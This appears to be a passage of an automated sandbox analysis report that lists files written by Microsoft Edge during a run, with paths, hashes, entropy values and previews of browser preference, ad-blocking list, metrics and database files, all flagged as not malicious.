Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4f9b4650-d376-497f-bf75-b670962ada6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46109
Entropy (8bit):	6.088106061494185
Encrypted:	false
SSDEEP:	768:aMkbJrT8IeQc5dXjzjLmZUapUR7eA4J6DPdPwdIQmxgxC1oLwWE7RTupzKscDX/K:aMk1rT8H1XIpUQIQ9IoLoRTuii
MD5:	28D05B8A94406B7215E5796A1946BDC0
SHA1:	8E04DE8CC3C67D3A28252CE8C1366AD2456957E5
SHA-256:	80E74CB79C395808A78F2E79B8668882CF5AA11485613B2BF1EFE8D9DB5A89BE
SHA-512:	D08CC07A343DE0B8315B6FE9CCFEF77C4404759714A95A17B71DB3293D7BA44D901931E11911E02D0716DA9B0F3FE8B26C13C9E4B7461E5C38547B831582C7FD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a69139d-bb89-46fe-8ff1-e249a27738d9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732780543"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\950c7ea3-c9de-4d82-9616-5c35bbb70afb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44719
Entropy (8bit):	6.09594572745139
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xrGLmZUapUR7eA4J6DPdPwdKwWE7RTupzKscDX//NPm:z/Ps+wsI7yOrpUQKoRTuiVIos
MD5:	3D6B124C56F6CC38EF4DC5811362A6FA
SHA1:	9D7DBE88BBD499E2EAAC83D044E6245320EF28D4
SHA-256:	DC75C03256403D5677F32A65EEB79BDED54A2903045B958D9BB2747830C92575
SHA-512:	A55717869D2D66065C94D75B1B4D86DA1ACD0EFF5FA317559380EE7F9EF24FF40C935397B5BA57E50DC14C82ACB9192CA9ADB781076AB7D16EBCD0365EF080D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\b176dc8e-e180-44e5-a862-5954decabdbc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674821F8-1FEC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04764601360214248
Encrypted:	false
SSDEEP:	192:tCbEV0pqtmqnOAQZYC0Jy7qiRD80JVFg8XZDI6fhEHsBzh6hNAZMfRQ8IK7mn8ys:tiEV0ctZo0K6onhizp37m08T2RGOD
MD5:	F20AA70642A2814457452DF0F8268D9D
SHA1:	5774A358E789A7EDE591F793D88868793519DA18
SHA-256:	EC65C55E11B1ABB2678EF83B99E151E10D351E16978C9A59993494C82DA6B307
SHA-512:	C3113C2C048885406AFF2356ECBAE62D925B545043667264EB50C070B41E57F62BDB38029C1B3A836C2F4305F3CCAA6494BB8B4446AA961E066809324258C0F2
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".hlkmot20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\16efcc02-82a6-4058-9bab-fe975e8a57b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56093324049401
Encrypted:	false
SSDEEP:	768:h+Wv247pLGLPG0WPWwfU48F1+UoAYDCx9Tuqh0VfUC9xbog/OVJsSBiRlrw3Zzgb:h+Wv2kcPG0WPWwfU4u1ja0sSsRO3ZU2q
MD5:	5C019910A417603282F894033CAC1AE4
SHA1:	636EAD8C21B07F830BC003D96173440F9EE13D9D
SHA-256:	F652C600DA448AF4289312F95F313D65F21E7AB6FC5AC2AA2BD68012518467A1
SHA-512:	1F16FB52481D9F897C5523568747EB9062D66AD501457B350D46CF9E7FF96910D183724188F86FA99CEE47BB4347B53995867D564F46A254DC0FE81C4F9C3374
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377254137332647","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377254137332647","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\35e5a7c5-ba34-4876-b94d-f513439bf6b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\41c69fa1-2746-4057-9ce9-c464b8ce886c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17338), with no line terminators
Category:	dropped
Size (bytes):	17340
Entropy (8bit):	5.491487168925392
Encrypted:	false
SSDEEP:	384:st9CPGQSu4DFsieXznYMTdFmDJlTmbGzQwE+f7NI2:smOXuIexJbGsMF
MD5:	ED5CDD25D18E384C134F4A24A0944FA7
SHA1:	B2157A02BA7E28B2A695378E7CF99DB5041CAB61
SHA-256:	65A13D9B66916B8FFE1B1CA0365B14A6A0E447FD028FD960E5C25F817FD8B761
SHA-512:	83C9D7D1387FABAAAAEA87C6FDB3ADBE687FBFC03839E2C71C1B4E27781030BCD0DB4CF843025BDFFA358B4B61D6CD2609F360631F408D30884F1079F76A9516
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\44b395fc-da0b-483c-accf-2327cedc8b57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8bf5e76d-bec8-4c73-96b9-1fc145b21e93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17338), with no line terminators
Category:	dropped
Size (bytes):	17340
Entropy (8bit):	5.491461807250813
Encrypted:	false
SSDEEP:	384:st9CPGQSu4DFsieXznYMTdFmDJlTmbGzQwEGf7NI2:smOXuIexJbGsYF
MD5:	C87EF5981528F84AFA2837BC9C29ECD1
SHA1:	1078C4863EEBDB8AFF860A587A4093BF5410C5C2
SHA-256:	D1333F8A20EBE3A0861D750159F35BB595C7AC4564D373817F508EE7FE713535
SHA-512:	89DDB0312979863D6BB64B38C28086719A83E095F1CFFB2DC3893E5E65542E42A5289AA4C87D136DB0285AB20E74B895417ECBBD3FA1A5B845A964A9BB6AD7D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.13810787242597
Encrypted:	false
SSDEEP:	24576:hKPufKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKGfqJmcx
MD5:	F7823AC4AF13BBADD562054B845C4F65
SHA1:	86506F2F5BE66223B384A0379B8C2D1FE0ACCA40
SHA-256:	1154AC90F00F2DCB2293C20E10CFE5478C5625EB10E1D61026E8AAE7EBA1C3AB
SHA-512:	DA31800BBDBD0EA5CC65D72C1E356E62D4AB42BCAEA5E759F491FDBEDA9541655F393CC245D4A5C3572079399F9F48321990B8E57A889DD26CAB73601FFB428E
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.168077353388982
Encrypted:	false
SSDEEP:	6:HIdcDSMM+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YIdtFZZmw+YIdbGFMMVkwOCHhJ23A:oNMM+vBYeb9Eh16FUt8FL/+FzMV56Ye8
MD5:	6A88529230E25655DED62B0EA9F021C5
SHA1:	178EF149688EDC79B06450243F5333EB23BFBE90
SHA-256:	3B5D4F599FFFAC59CC454D0B54F9F4F2B4A6141515CF53567F0CADA5AFE9C6B8
SHA-512:	EBAC9A6219BD4176B36BE14D73507480C1A57AE9BD2010D96005128E490CC7A3820AB8CAF55C919CB7122E6801966A9539FA1D4C85CA329EA3E42F49AAE889A0
Malicious:	false
Preview:	2024/11/28-02:55:43.259 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-02:55:43.286 20fc Recovering log #3.2024/11/28-02:55:43.294 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.168077353388982
Encrypted:	false
SSDEEP:	6:HIdcDSMM+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YIdtFZZmw+YIdbGFMMVkwOCHhJ23A:oNMM+vBYeb9Eh16FUt8FL/+FzMV56Ye8
MD5:	6A88529230E25655DED62B0EA9F021C5
SHA1:	178EF149688EDC79B06450243F5333EB23BFBE90
SHA-256:	3B5D4F599FFFAC59CC454D0B54F9F4F2B4A6141515CF53567F0CADA5AFE9C6B8
SHA-512:	EBAC9A6219BD4176B36BE14D73507480C1A57AE9BD2010D96005128E490CC7A3820AB8CAF55C919CB7122E6801966A9539FA1D4C85CA329EA3E42F49AAE889A0
Malicious:	false
